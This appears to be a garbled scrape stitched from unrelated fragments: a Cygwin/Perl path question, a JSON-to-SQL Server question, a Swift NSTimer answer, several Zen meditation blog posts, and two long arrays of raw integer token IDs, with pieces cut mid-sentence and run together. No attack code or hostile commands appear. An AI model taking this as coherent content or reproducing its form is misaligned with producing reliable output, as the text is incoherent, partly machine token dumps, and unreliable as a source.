in second day hair as you can use your hair's natural texture.I am very confused about the correct manner of defining directory paths under cygwin, perl, and bash. I cannot determine the correct manner. Using the cygwin window, I navigate to locations using cd /cygdrive/c/subdir Using a bash shell to run a perl process under the shell and passing in a directory, I must use a windows-style specification with *nix forward slashes If you're using Cygwin's Perl, then you don't need to worry about windows-style paths. If you must, for some reason, use the Windows-native Perl, then check out'man cygpath'. It will handle the file path conversions for you so you can stick with POSIX paths when you type. -- Larry _____________________________________________________________________ A: Yes. > Q: Are you sure? >> A: Because it reverses the logical flow of conversation. >>> Q: Why is top posting annoying in email?Q: JSON to SQL Server 2016 missing rows from array I am new to getting JSON into SQL Server 2016, I thought I had it down, but I notice that I am missing some details from the array, looking at the image, there are four address', but I saw there are some more address' missing for example Burrows Rd, and Urana RD. How can I make sure that all the address' captured? https://i.stack.imgur.com/erzBV.jpg @json nvarchar(max) @json = N'{ "response": [ { "application": { "info": { "dat_id": "010.2018.00036494.001", "development_type": "Residential - Single new dwelling", "application_type": "DA", "last_modified_date": "2018-12-03T11:35:24+11:00", "description": "Residence, Garage & Colorbond Shed, Demolition of Existing Residence & Tree Removal", "authority": { "ref": "http://gemini:82/ApplicationTracker/atdis/1.0

[ 31062, 8263, 28517, 3378, 4769, 27068, 9, 18, 13, 2303, 27, 1881, 13, 23434, 27, 346, 26320, 9019, 7910, 995, 2608, 6074, 27, 5296, 13, 24510, 27, 2032, 10, 535, 50274, 94, 187, 94, 187, 187, 1785, 365, 839, 436, 1332, 970, 21626, 11831, 13, 21626, 14039, 3966, 15, 3133, 502, 360, 8823, 285, 15279, 13, 594, 651, 751, 247, 1039, 281, 17627, 253, 3781, 2193, 2581, 685, 1907, 281, 1067, 396, 468, 1523, 275, 1027, 3470, 15, 187, 187, 34, 27, 187, 187, 17222, 436, 13, 352, 4648, 767, 3082, 285, 271, 3605, 15, 187, 10282, 5449, 187, 187, 10828, 1365, 3605, 310, 873, 281, 470, 285, 4828, 310, 873, 281, 1458, 15, 187, 11183, 1672, 23393, 1082, 310, 1925, 15, 50276, 187, 187, 510, 5763, 12693, 310, 9300, 15, 50276, 187, 2042, 3605, 310, 470, 253, 21626, 310, 3562, 15, 187, 187, 26320, 9019, 1082, 310, 1925, 846, 253, 21626, 19333, 15, 187, 187, 510, 4828, 310, 2864, 16390, 285, 253, 4828, 5203, 310, 9300, 15, 50276, 187, 2042, 4828, 310, 470, 285, 3605, 310, 4503, 281, 253, 1180, 273, 18418, 428, 18, 50276, 783, 21626, 310, 12078, 456, 15, 187, 2042, 4828, 310, 470, 285, 3605, 654, 1180, 273, 18418, 428, 18, 3605, 310, 1141, 16390, 13, 4828, 310, 14932, 281, 1458, 285, 5731, 1672, 23393, 1082, 310, 1925, 969, 15, 535, 50274, 2044, 4828, 426, 1458, 187, 50274, 2044, 3605, 426, 470, 535, 50274, 2044, 21626, 27, 427, 1267, 7438, 32, 535, 50274, 2044, 30755, 1672, 2269, 3013, 2809, 31377, 426, 544, 1672, 23393, 880, 10, 535, 50274, 37488, 11632, 1859, 8917, 9624, 1082, 551, 187, 50272, 12185, 15, 1374, 8917, 9624, 1082, 187, 50272, 11183, 1672, 23393, 1082, 187, 50274, 94, 535, 50274, 4997, 5731, 1672, 23393, 1082, 551, 187, 50272, 1059, 2460, 27, 530, 38129, 426, 30755, 1672, 2269, 3013, 2809, 31377, 60, 4663, 1570, 17479, 2, 187, 50272, 48355, 6586, 15, 5695, 426, 2460, 535, 50272, 1059, 4060, 11495, 426, 30755, 1672, 2269, 3013, 2809, 31377, 60, 4663, 1570, 1590, 187, 50272, 48355, 13408, 15, 1156, 426, 4060, 11495, 535, 50272, 1059, 7997, 13408, 426, 30755, 1672, 2269, 3013, 2809, 31377, 60, 4663, 1570, 6839, 6477, 187, 50272, 6839, 6477, 11495, 15, 1156, 426, 7997, 13408, 535, 50272, 338, 3605, 2295, 470, 50276, 92, 187, 50270, 26320, 426, 427, 1267, 7438, 15, 31062, 8263, 28517, 3378, 4769, 27068, 9, 18, 13, 2303, 27, 1881, 13, 23434, 27, 346, 26320, 9019, 995, 2608, 6074, 27, 5296, 13, 24510, 27, 2032, 10, 187, 50272, 94, 187, 50274, 94, 535, 50274, 4997, 21626, 9019, 1082, 551, 187, 50272, 20285, 24869, 337, 187, 50272, 26320, 11495, 15, 1156, 426, 8894, 9, 20285, 6844, 187, 50272, 338, 313, 20285, 2295, 470, 10, 551, 187, 50270, 338, 3605, 2295, 30755, 1672, 2269, 3013, 2809, 31377, 15, 5560, 428, 337, 551, 187, 50268, 26320, 47346, 25359, 366, 1082, 187, 50268, 26320, 426, 5296, 187, 50270, 94, 2010, 551, 187, 50268, 4663, 7079, 337, 187, 50268, 20285, 426, 1458, 187, 50268, 11183, 1672, 23393, 1082, 187, 50270, 94, 187, 50272, 94, 187, 50274, 94, 535, 1148, 324, 885, 275, 8342, 8184, 187, 187, 47462, 17750, 2400, 2802, 1314, 3535, 457, 187, 187, 20266, 1283, 394, 13, 4072, 428, 337, 22955, 187, 187, 4553, 253, 5753, 1091, 281, 2143, 13, 187, 9131, 253, 807, 310, 689, 285, 673, 34654, 13, 187, 9453, 22450, 310, 6906, 13, 285, 6330, 3133, 512, 533, 3663, 13, 187, 262, 457, 84, 4999, 281, 564, 896, 275, 253, 1824, 27, 187, 20339, 28590, 253, 1091, 273, 380, 1847, 20787, 22586, 187, 248, 4052, 35725, 15060, 285, 13846, 187, 3113, 253, 1724, 3987, 4076, 339, 273, 3676, 20992, 187, 66, 581, 14, 1201, 49922, 19015, 187, 3113, 253, 1175, 952, 273, 3452, 885, 187, 395, 3780, 2010, 2112, 323, 253, 10831, 187, 28007, 13, 3821, 15, 608, 16601, 1060, 15, 187, 187, 2042, 368, 476, 3959, 26104, 8064, 281, 6179, 5014, 13, 4496, 3057, 479, 15, 187, 187, 19591, 577, 394, 13, 4072, 428, 608, 28623, 187, 187, 1773, 26743, 15799, 556, 352, 326, 5002, 310, 34352, 715, 253, 11553, 15, 2596, 625, 572, 640, 13, 597, 1333, 13, 285, 436, 19456, 7537, 26689, 588, 320, 22007, 30569, 15, 1292, 597, 452, 352, 28636, 1066, 15, 844, 457, 250, 2168, 327, 253, 5004, 273, 253, 6150, 15, 14263, 3041, 1107, 3622, 13, 44967, 33387, 10184, 253, 11553, 23396, 281, 253, 2553, 273, 253, 7565, 15, 844, 403, 253, 2151, 273, 247, 28987, 12927, 15, 844, 660, 2066, 776, 12682, 327, 697, 6007, 319, 90, 5254, 15, 187, 187, 1773, 26743, 15799, 2296, 436, 9129, 3946, 273, 7477, 642, 3356, 14190, 15, 733, 1057, 417, 16497, 15, 6359, 398, 1053, 457, 85, 755, 352, 15, 733, 457, 84, 1512, 1892, 285, 1048, 285, 9279, 1417, 313, 20261, 5859, 13, 9921, 285, 1846, 3282, 10418, 352, 387, 1046, 1614, 2698, 844, 457, 250, 11771, 342, 1142, 643, 2469, 1022, 13, 253, 14720, 4566, 15, 23526, 1918, 952, 752, 597, 971, 672, 597, 971, 352, 13, 390, 597, 588, 964, 964, 964, 513, 752, 32, 1810, 2569, 13, 751, 594, 1199, 8660, 15, 187, 187, 1044, 10274, 751, 326, 310, 247, 2119, 1039, 281, 7168, 3216, 15, 7900, 15799, 310, 253, 15990, 13, 627, 310, 642, 15799, 15, 187, 187, 1552, 310, 619, 29257, 8648, 917, 8327, 27, 326, 368, 588, 1089, 247, 7102, 665, 310, 1097, 3110, 285, 38098, 13, 440, 2320, 46088, 281, 3698, 368, 11182, 13, 16924, 13, 285, 4720, 16359, 275, 253, 14712, 383, 273, 634, 1211, 1721, 15, 2596, 665, 588, 1978, 368, 7107, 2567, 347, 368, 564, 3676, 285, 2836, 13, 1919, 368, 1007, 598, 285, 923, 326, 368, 403, 417, 34352, 13, 368, 403, 417, 29281, 13, 634, 2847, 310, 417, 3663, 15, 1707, 310, 642, 2137, 285, 642, 9054, 13, 642, 24284, 285, 642, 3343, 15, 1422, 403, 7063, 28636, 598, 275, 253, 21509, 311, 405, 11874, 273, 247, 3676, 13, 2590, 12927, 13, 642, 5448, 390, 10212, 13, 285, 368, 403, 14578, 13, 14578, 13, 14578, 15, 187, 187, 24099, 2030, 394, 13, 4072, 428, 1903, 28623, 187, 187, 510, 1953, 273, 253, 4964, 310, 773, 7161, 403, 253, 22271, 7721, 831, 3133, 751, 253, 1953, 273, 1046, 4964, 13, 1046, 2952, 13, 1046, 807, 13, 672, 253, 8989, 273, 43703, 11521, 285, 359, 923, 326, 776, 3054, 3767, 13, 17812, 13, 2654, 3017, 285, 6114, 403, 417, 594, 1270, 846, 512, 15, 309, 1053, 457, 85, 816, 1599, 326, 597, 1056, 16503, 13, 533, 326, 616, 15060, 403, 19781, 15, 1583, 39038, 13, 7027, 285, 8513, 952, 15, 1583, 403, 27915, 13, 28884, 13, 3807, 2865, 7070, 967, 285, 598, 281, 642, 1175, 15, 10417, 22271, 403, 1633, 2010, 17965, 15, 187, 187, 43688, 309, 7416, 247, 1387, 273, 952, 1128, 32060, 26636, 1128, 10002, 5966, 271, 6325, 2316, 285, 2206, 1335, 285, 7107, 323, 253, 1805, 629, 273, 247, 1388, 15, 309, 717, 28173, 407, 253, 3361, 273, 952, 665, 651, 20141, 281, 513, 824, 247, 2181, 27, 897, 598, 247, 9670, 1175, 313, 4609, 2097, 271, 35240, 314, 5389, 10, 6926, 275, 5002, 281, 1790, 1066, 285, 25885, 387, 247, 3402, 15, 2058, 253, 990, 273, 352, 512, 13, 309, 2183, 731, 326, 752, 597, 574, 2218, 369, 36715, 15, 1916, 1379, 8294, 323, 6330, 275, 253, 1533, 310, 27364, 36715, 15, 309, 17328, 731, 326, 1223, 25815, 26167, 476, 320, 2834, 327, 634, 13827, 2133, 285, 43958, 2564, 13, 352, 1057, 417, 8513, 3780, 15, 1621, 581, 310, 44137, 407, 634, 3946, 28, 6296, 4130, 310, 6518, 13, 1014, 604, 352, 310, 760, 984, 368, 403, 417, 30900, 272, 275, 12700, 390, 32469, 272, 275, 40586, 1309, 253, 673, 368, 403, 1977, 15, 187, 187, 3039, 368, 403, 1335, 13, 642, 34036, 403, 549, 2147, 13, 642, 42109, 403, 502, 39012, 13, 642, 9881, 32033, 13, 642, 39876, 49781, 1677, 15, 2091, 368, 403, 7107, 13, 2717, 1599, 13, 17877, 390, 4619, 310, 753, 15, 831, 3815, 2789, 253, 1388, 247, 1175, 1388, 323, 4130, 275, 634, 1495, 15, 187, 187, 42, 3407, 619, 3946, 15846, 323, 4266, 15, 309, 3078, 281, 320, 2104, 281, 755, 562, 273, 3722, 275, 253, 4131, 13, 564, 281, 4600, 387, 2360, 13, 285, 11399, 619, 35956, 1981, 31917, 15, 309, 3078, 281, 320, 2104, 281, 23808, 15, 1292, 1024, 309, 3946, 323, 1529, 1921, 27, 984, 309, 8513, 952, 15, 309, 8513, 731, 247, 2257, 13, 285, 275, 4088, 309, 1620, 923, 1919, 352, 310, 1512, 3563, 13, 1919, 253, 37535, 273, 619, 4433, 1531, 45143, 5913, 10732, 309, 574, 273, 619, 1211, 43703, 15, 187, 187, 42, 717, 31597, 407, 253, 15423, 1612, 359, 452, 281, 513, 1175, 672, 359, 452, 253, 15838, 281, 513, 2717, 15, 187, 187, 5872, 309, 6026, 281, 436, 1270, 6149, 285, 3253, 275, 352, 13, 7004, 34555, 15, 1244, 439, 1370, 312, 2, 733, 310, 1677, 15, 25664, 670, 2221, 9177, 15, 187, 187, 1394, 476, 1335, 6604, 247, 1388, 387, 619, 10672, 300, 6169, 6724, 675, 275, 29089, 327, 3919, 1668, 13, 390, 1984, 634, 2317, 275, 253, 41942, 6724, 675, 275, 3978, 407, 1469, 281, 436, 3239, 15, 187, 187, 24099, 1638, 394, 13, 4072, 428, 8676, 28623, 187, 187, 3220, 3392, 14, 249, 14, 6937, 369, 247, 2969, 637, 13, 285, 253, 1841, 344, 753, 812, 5818, 342, 46504, 19843, 15, 187, 187, 8267, 673, 344, 18739, 1633, 13, 751, 247, 5313, 273, 14354, 15221, 13, 323, 4227, 13, 344, 651, 1333, 13, 773, 1552, 310, 253, 1682, 14354, 15221, 309, 457, 306, 2455, 37907, 11602, 754, 5486, 352, 13, 285, 352, 369, 2032, 13, 984, 352, 2210, 432, 253, 385, 22651, 593, 273, 247, 2564, 5766, 728, 273, 4619, 1869, 15, 329, 2564, 751, 326, 476, 1646, 19456, 285, 1429, 3022, 15, 733, 310, 13, 285, 326, 457, 84, 752, 2789, 352, 594, 15822, 15, 187, 187, 8693, 2360, 309, 6699, 247, 1355, 1984, 326, 369, 253, 1682, 14354, 15221, 13, 285, 309, 457, 69, 2389, 323, 368, 281, 9075, 352, 15, 2058, 253, 1265, 13, 368, 1537, 417, 1158, 436, 2238, 273, 15221, 310, 323, 368, 15, 427, 10745, 4766, 2363, 13, 247, 637, 9365, 2994, 20509, 13, 15838, 4087, 13, 28168, 326, 344, 310, 11730, 13, 247, 43459, 13, 247, 1161, 727, 13, 247, 36276, 13, 247, 815, 2421, 13, 247, 25461, 13, 247, 2564, 1417, 32840, 285, 19513, 2854, 26716, 13, 285, 1060, 457, 84, 253, 7353, 6308, 1128, 3229, 3784, 521, 10382, 4433, 387, 13184, 1128, 248, 5605, 281, 3153, 15, 9876, 436, 3590, 1014, 27938, 751, 634, 2238, 273, 14354, 32, 187, 187, 1328, 17400, 3836, 323, 2994, 253, 3686, 273, 7445, 2531, 1437, 326, 310, 253, 5017, 273, 1061, 1197, 15, 754, 24376, 281, 5427, 275, 3186, 273, 50175, 15, 1737, 368, 1089, 275, 5427, 310, 13, 973, 13, 5427, 15, 1244, 752, 368, 1089, 327, 247, 1437, 310, 4834, 15, 1292, 344, 8599, 521, 2926, 342, 824, 10763, 285, 5471, 13, 824, 13746, 285, 1445, 4721, 13, 326, 309, 812, 417, 11623, 253, 2644, 2181, 15, 187, 187, 3404, 253, 990, 273, 253, 1984, 13, 344, 310, 19083, 521, 7408, 342, 247, 42099, 281, 35020, 275, 253, 2567, 273, 247, 2872, 7102, 285, 4474, 350, 15, 3032, 2607, 273, 1129, 22644, 285, 18006, 6230, 13, 362, 5811, 285, 3816, 36637, 569, 1646, 281, 452, 4242, 15, 1623, 253, 11693, 344, 310, 896, 281, 1146, 11790, 285, 23381, 1020, 13, 5471, 24924, 285, 1014, 28734, 15, 380, 5113, 273, 521, 15866, 403, 253, 767, 4105, 20325, 665, 403, 16362, 779, 15, 9876, 436, 3590, 1014, 27938, 751, 752, 6569, 5312, 275, 634, 8576, 13, 634, 1728, 13, 634, 9168, 13, 634, 1533, 32, 187, 187, 42, 4456, 253, 9023, 309, 1160, 281, 4266, 281, 1978, 619, 2798, 13, 2564, 285, 21768, 1527, 323, 253, 1551, 273, 619, 3297, 15, 2752, 9455, 369, 3551, 281, 271, 990, 1512, 3809, 15, 1707, 369, 642, 625, 673, 281, 16924, 745, 275, 1388, 69, 9779, 13, 390, 281, 7168, 4266, 275, 38817, 14672, 15, 1292, 512, 326, 11322, 574, 35653, 745, 751, 247, 12621, 432, 271, 18093, 1834, 22133, 285, 253, 3038, 1677, 689, 281, 12700, 285, 1881, 14, 5316, 3647, 403, 1024, 4783, 11654, 15, 1737, 29962, 13, 7835, 285, 3371, 656, 858, 309, 2985, 347 ]

scheduledTimerWithTimeInterval(1, target: self, selector: "timerActionTwo", userInfo: nil, repeats: true) } } Repeating this method using timerThree, timerFour etc. seems clumbsy and unnecessary, so would like a way to increment the array values rather than having to call seperately in different functions. A: Try this, it uses two methods and an index. Workflow Initially index is set to 0 and counter is set to 15. updateExercise() is called. The exercise UI is updated. If index is 0 the timer is created. timerAction() is called after the timer fires. The counter is decremented and the counter label is updated. If counter is 0 and index is equal to the number of exercises -1 the timer is invalidated. If counter is 0 and index < number of exercises -1 index is incremented, counter is reset to 15 and updateExercise() is called again. var counter = 15 var index = 0 var timer: NSTimer? var workoutExercisesShuffled = [Exercise]() override func viewDidLoad() { super.viewDidLoad() updateExercise() } func updateExercise() { let image: UIImage = workoutExercisesShuffled[index].filename! exerciseImage.image = image let titleLabel = workoutExercisesShuffled[index].name exerciseTitle.text = titleLabel let instructionsTitle = workoutExercisesShuffled[index].instructions instructionsLabel.text = instructionsTitle if index == 0 { timer = NSTimer.scheduledTimerWithTimeInterval(1, target: self, selector: "timerAction", userInfo: nil, repeats: true) } } func timerAction() { counter -= 1 timerLabel.text = "\(counter)" if (counter == 0) { if index == workoutExercisesShuffled.count - 1 { timer!.invalidate() timer = nil } else { index += 1 counter = 15 updateExercise() } } } paradise in plain sight Posts Tagged ‘meditation’ August 18th, 2013 - 1 Comment After the kids return to school, before the year is over and time disappears, when patience is thin, and peace seems all but lost, it’s safe to go back in the water: Announcing the return of The Plunge workshop healing weary hearts and minds with the calming cleanse of deep compassion a one-day mindfulness retreat with the good people of Boise and anyone else along for the swim Saturday, Oct. 5Register here. If you can offer scholarship funds to waiting participants, please contact me. April 4th, 2013 - 5 Comments Conventional wisdom has it that California is sinking into the Pacific. One more quake, they say, and this silly sandcastle will be swept offshore. But they have it upside down. We’re already on the bottom of the sea. Five million years ago, seismic storms pushed the Pacific crust to the surface of the Earth. We are the children of a risen ocean. We scuff our shoes on its billowy floor. Conventional wisdom says this ancient practice of mine no longer reaches. It does not translate. Westerners don’t get it. It’s too hard and long and fruitless (although science, medicine and common sense affirm it at every turn.) We’re competing with many other pastimes, the reasoning goes. Better give people what they want when they want it, or they will... do what? Scatter, like so much dust. Thinking like that is a sure way to lose ground. Where wisdom is the agenda, there is no wisdom. This is my inexhaustible desire: that you will find a guide who is both patient and daring, unafraid to watch you struggle, drift, and finally settle in the tempest of your own pot. One who will keep you quiet company as you go deep and dig, until you look up and see that you are not sinking, you are not hopeless, your cause is not lost. There is no war and no enemy, no hurry and no wait. You are sitting upside up in the echoless calm of a deep, clear ocean, no wind or waves, and you are breathing, breathing, breathing. February 25th, 2013 - 11 Comments The question of the hour is “Where are the heroes?” This seems like the question of every hour, every season, every year, when the mask of greatness falls and we see that our statesmen, athletes, idols and stars are not so great after all. I don’t just mean that they make mistakes, but that their hearts are hollow. They cheat, lie and hurt people. They are selfish, ignorant, undisciplined and up to no good. Real heroes are something else altogether. Yesterday I joined a group of people—perfect strangers—who entered an empty room and sat still and quiet for the better part of a day. I am honored by the presence of people who would dare to do such a thing: use up a perfectly good (which means an astonishingly beautiful) Sunday in California to sit down and stare at a wall. At the end of it all, I told them that what they had done was heroic. To take responsibility for peace in the world is genuinely heroic. I reminded them that while practicing Zen can be difficult on your stiff body and restless mind, it does not hurt anyone. No one is harmed by your practice; indeed everyone is helped, even if it is only because you are not erupting in anger or simmering in resentment during the time you are away. When you are still, no eyebrows are arched, no fists are clinched, no fingers tapped, no sideways glances given. When you are quiet, nothing mean, cruel or critical is said. This alone makes the day a good day for everyone in your life. I began my practice purely for myself. I wanted to be able to get out of bed in the morning, go to sleep at night, and overcome my crippling sadness. I wanted to be able to cope. But now I practice for another reason: because I hurt people. I hurt them a lot, and in ways I never see until it is too late, until the breadth of my failure crumbles whatever notion I had of my own greatness. I am amazed by the extraordinary power we have to do good when we have the courage to do nothing. Then I bow to this great earth and everything in it, asking forgiveness. And shazam! It is given. Talk about superpower. You can still join a day at my Grailville Retreat in Cincinnati on March 16, or book your space in the Marin Retreat in June by going to this page. February 14th, 2013 - 53 Comments My father-in-law was a simple man, and the things he said could ring with unintended clarity. Every time he ate something, like a piece of chocolate cake, for instance, he would say, “This is the best chocolate cake I’ve ever tasted!” He meant it, and it was true, because it came from the exuberance of a mind emptied of critical thought. A mind like that can seem silly and childlike. It is, and that’s what makes it so wise. Last night I finished a small book that was the best chocolate cake, and I’d love for you to taste it. At the start, you might not think this kind of cake is for you. Nearing middle age, a man faces himself honestly, courageously, admitting that he is gay, a liar, a cheater, a thief, a phony, a creep, a mindless alcoholic and ugly drug addict, and here’s the sweet spot—despite his serial failure at suicide—he wants to live. Does this sound even remotely like your kind of chocolate? He envisions for himself the sort of idealistic quest that is the stuff of parody. He travels to India in search of enlightenment. What you find in India is, well, India. And what you find on a quest is yourself. But he tells his story with such beauty and feeling, such flavor and artistry, that I could not resist the whole thing. At the end of the book, he is finishing his trip with a trek to Nepal in the company of a young guide and porter. His months of meditations and mantras, vows and renunciations seem to have failed. On the trail he is back to being angry and resentful, feeling foolish and even exploited. The objects of his spite are the two poor servants who are attending him. Does this sound even remotely like what happens daily in your kitchen, your home, your neighborhood, your world? I remember the promise I made to myself to keep my heart, mind and senses open for the rest of my stay. My journey was coming to an end too fast. There was no more time to drift off in daydreams, or to lose myself in petty complaints. But all that resolve had flown off like a bird from an untended cage and the hours given over to anger and self-cherishing are now gone forever. What sights, sounds and joys did I miss as

[ 67, 19, 14, 3079, 69, 23, 14, 25, 29546, 14, 2358, 1036, 4482, 23695, 67, 5781, 995, 187, 50266, 3, 19, 550, 39649, 886, 14, 67, 26, 67, 21, 14, 2504, 1508, 14, 26, 70, 3677, 14, 22, 70, 24, 26541, 1857, 66, 25, 2082, 995, 187, 50266, 3, 2405, 68, 21, 20216, 68, 14, 4739, 12847, 14, 2537, 550, 14, 66, 2922, 69, 14, 67, 17, 4482, 2511, 24447, 12847, 20, 995, 187, 50266, 3, 67, 24, 71, 24, 71, 18, 68, 21, 14, 1010, 70, 25, 14, 21, 66, 1438, 14, 4482, 17, 69, 14, 24, 17809, 2428, 5523, 68, 19, 69, 995, 187, 50266, 3, 68, 22, 66, 48224, 615, 14, 6855, 18, 71, 14, 2945, 6357, 14, 67, 3342, 17, 14, 71, 30311, 1787, 3141, 886, 12352, 995, 187, 50266, 3, 71, 17984, 69, 3141, 68, 14, 1525, 67, 19, 14, 2950, 11316, 14, 67, 34240, 14, 23, 68, 24, 66, 41796, 66, 26, 70, 25, 70, 995, 187, 50266, 3, 71, 1229, 67, 41493, 71, 14, 12964, 3156, 14, 30889, 71, 14, 25, 1706, 69, 14, 21, 550, 357, 19, 71, 2640, 71, 17, 71, 995, 187, 50266, 3, 1797, 68, 25, 1257, 3245, 14, 16198, 66, 14, 2537, 1508, 14, 14836, 19, 70, 14, 1706, 70, 26, 2526, 336, 68, 24, 3156, 995, 187, 50266, 3, 17, 71, 23, 20298, 1706, 14, 3141, 68, 23, 14, 21, 66, 3593, 14, 67, 36679, 14, 5830, 22, 70, 1237, 68, 26, 70, 30693, 995, 187, 50266, 3, 70, 14783, 71, 3208, 70, 14, 24, 67, 3141, 14, 21, 29249, 14, 26, 27463, 14, 21, 66, 20, 67, 13482, 66, 740, 69, 20, 995, 187, 50266, 3, 23, 5830, 17, 71, 18, 69, 22, 14, 9194, 25, 70, 14, 21, 31055, 14, 67, 20, 66, 18, 14, 26, 68, 18, 70, 23, 71, 1717, 69, 43438, 995, 187, 50266, 3, 22, 66, 26, 67, 26, 39948, 14, 20, 67, 336, 14, 21, 68, 3357, 14, 67, 8902, 14, 3953, 567, 1093, 14711, 68, 3832, 995, 187, 50266, 3, 1047, 4590, 70, 3763, 71, 14, 5470, 22, 71, 14, 15645, 67, 14, 2320, 67, 17, 14, 1099, 69, 24, 317, 19, 7836, 24447, 995, 187, 50266, 3, 317, 17884, 68, 1630, 14, 24, 2275, 18, 14, 32296, 26, 14, 26, 70, 1812, 14, 324, 18, 3342, 21397, 2405, 66, 19, 995, 187, 50266, 3, 17, 66, 24, 1508, 71, 4482, 14, 1047, 1235, 14, 21, 71, 11316, 14, 25, 15220, 14, 68, 2945, 66, 24, 2511, 67, 26, 70, 23, 68, 995, 187, 50266, 3, 25, 5781, 26, 746, 2904, 14, 11494, 66, 14, 21, 22130, 14, 67, 4185, 66, 14, 832, 25, 70, 3655, 71, 24, 1525, 3655, 995, 187, 50266, 3, 805, 453, 2358, 2526, 14, 7836, 2320, 14, 21, 1796, 24, 14, 2227, 3208, 14, 567, 66, 1610, 2759, 70, 1619, 324, 995, 187, 50266, 3, 2055, 69, 2055, 66, 357, 14, 25206, 24, 14, 2945, 9194, 14, 357, 11316, 14, 19, 264, 3677, 68, 14840, 67, 832, 995, 187, 50266, 3, 11027, 6855, 20, 4482, 14, 19, 46370, 14, 1449, 2275, 14, 25, 30715, 14, 44034, 68, 26, 71, 1976, 2537, 68, 23, 995, 187, 50266, 3, 3677, 71, 27538, 1797, 14, 3439, 6855, 14, 21, 70, 1787, 14, 25, 1473, 71, 14, 70, 938, 12964, 1630, 23185, 70, 26, 995, 187, 50266, 3, 1762, 70, 17, 14432, 14, 3680, 2275, 14, 21, 69, 20, 71, 14, 66, 49895, 14, 1348, 67, 23, 67, 36002, 317, 3208, 995, 187, 50266, 3, 26, 1610, 2222, 2597, 67, 14, 1967, 1717, 14, 2031, 520, 14, 26, 886, 19, 14, 20, 69, 21, 26541, 66, 19, 69, 26, 3245, 995, 187, 50266, 3, 4739, 70, 31036, 1812, 14, 3079, 324, 14, 21, 69, 6357, 14, 66, 19, 69, 18, 14, 21, 13743, 68, 23, 39405, 69, 3011, 995, 187, 50266, 3, 70, 26, 3547, 66, 22981, 14, 2227, 67, 17, 14, 2537, 2357, 14, 67, 23, 68, 19, 14, 71, 2385, 68, 21, 22187, 69, 26233, 995, 187, 50266, 3, 26, 69, 4196, 4989, 25, 69, 14, 2904, 2090, 14, 20611, 69, 14, 4148, 71, 21, 14, 1257, 24, 5523, 32796, 70, 25, 995, 187, 50266, 3, 2504, 1619, 67, 25, 70, 26, 14, 3571, 66, 26, 14, 2945, 1257, 14, 67, 7554, 14, 69, 26, 317, 36458, 9194, 7836, 20, 995, 187, 50266, 3, 2320, 21, 67, 1762, 68, 23, 14, 18, 71, 17, 69, 14, 3079, 886, 14, 66, 21, 5470, 14, 23, 69, 1706, 2405, 69, 12852, 740, 995, 187, 50266, 3, 17048, 9194, 23, 68, 20, 14, 20, 67, 26, 67, 14, 24614, 67, 14, 67, 25, 68, 22, 14, 1706, 67, 26, 1731, 1257, 20, 567, 26, 995, 187, 50266, 3, 2031, 67, 33608, 4482, 14, 2950, 361, 14, 1857, 69, 22, 14, 4529, 71, 18, 14, 336, 567, 23, 67, 3953, 1797, 70, 22, 995, 187, 50266, 3, 23, 6357, 35432, 66, 25, 14, 317, 2417, 14, 34333, 68, 14, 67, 24, 66, 22, 14, 23, 68, 17, 336, 2941, 886, 26, 1012, 995, 187, 50266, 3, 14576, 22, 7836, 43771, 14, 1525, 453, 14, 21, 69, 1549, 14, 25, 66, 3079, 14, 4482, 42772, 1731, 70, 18, 68, 22, 69, 995, 187, 50266, 3, 11718, 66, 3571, 317, 14, 1839, 4529, 14, 25797, 68, 14, 66, 47225, 14, 25, 69, 2511, 12352, 19, 68, 1235, 71, 24, 995, 187, 50266, 3, 69, 1229, 3342, 45555, 14, 1235, 67, 17, 14, 29435, 69, 14, 67, 1229, 69, 14, 68, 1706, 3121, 520, 67, 2357, 1976, 995, 187, 50266, 3, 12964, 25, 5470, 2405, 67, 14, 23, 71, 1093, 14, 32803, 68, 14, 26, 20373, 14, 67, 22, 4482, 67, 1423, 71, 1630, 4989, 995, 187, 50266, 3, 23, 70, 19, 758, 2922, 14, 70, 2417, 68, 14, 21, 67, 26, 67, 14, 25, 67, 2428, 14, 2504, 1787, 67, 19, 264, 23, 68, 21, 68, 995, 187, 50266, 3, 1630, 70, 26, 68, 26, 1717, 14, 17, 39282, 14, 21, 67, 2357, 14, 67, 35630, 14, 17, 70, 19, 71, 4482, 66, 20812, 69, 22, 995, 187, 50266, 3, 21, 71, 26, 1423, 324, 25, 14, 21, 1678, 19, 14, 21, 12964, 24, 14, 26, 10496, 14, 3547, 71, 17, 2275, 938, 1229, 6855, 995, 187, 50266, 3, 19, 69, 3046, 1812, 2759, 14, 2320, 5830, 14, 21, 1257, 18, 14, 26, 69, 1235, 14, 357, 2428, 23625, 1473, 19, 71, 19, 995, 187, 50266, 3, 71, 22341, 883, 264, 14, 1423, 4529, 14, 21, 67, 20, 71, 14, 3026, 68, 14, 2759, 70, 18, 6357, 24803, 71, 3208, 995, 187, 50266, 3, 67, 20, 67, 805, 68, 4196, 14, 1235, 1438, 14, 21, 67, 2385, 14, 3507, 66, 26, 14, 22, 69, 23, 69, 20, 550, 20812, 2082, 3, 187, 50268, 1092, 187, 50268, 3, 22337, 64, 1615, 1381, 346, 4482, 42047, 70, 19, 69, 14, 69, 26233, 14, 21, 67, 1540, 14, 67, 19, 66, 26, 14, 2941, 5523, 67, 22981, 1967, 66, 995, 187, 50268, 3, 22337, 64, 2606, 1381, 20029, 41646, 1099, 1348, 1036, 13, 187, 50268, 3, 8124, 1381, 551, 187, 50266, 3, 6377, 64, 11546, 64, 3429, 1381, 2032, 13, 187, 50266, 3, 6377, 64, 6795, 64, 1156, 1381, 2032, 187, 50268, 2023, 187, 50268, 3, 301, 1381, 346, 18, 68, 1012, 70, 37308, 14, 550, 69, 22, 14, 32006, 71, 14, 67, 3680, 69, 14, 21, 68, 3208, 24880, 70, 1976, 1449, 995, 187, 50268, 3, 6275, 64, 49539, 64, 1615, 1381, 346, 4482, 42047, 70, 19, 69, 14, 69, 26233, 14, 21, 67, 1540, 14, 67, 19, 66, 26, 14, 2941, 5523, 67, 22981, 1967, 66, 995, 187, 50268, 3, 6275, 64, 49539, 64, 2606, 1381, 1458, 1967, 1549, 32942, 1418, 13, 187, 50268, 3, 5598, 64, 301, 1381, 346, 615, 26, 67, 550, 11316, 14, 25, 66, 23, 67, 14, 21, 71, 2950, 14, 2759, 69, 23, 14, 18, 3348, 48173, 6357, 324, 1423, 995, 187, 50268, 3, 5598, 64, 2420, 1381, 346, 6172, 995, 187, 50268, 3, 468, 8331, 1381, 544, 187, 50266, 92, 187, 50264, 3, 8912, 64, 8716, 64, 15179, 64, 4663, 272, 1381, 3221, 13, 187, 50264, 3, 14337, 1381, 346, 13982, 64, 7483, 995, 187, 50264, 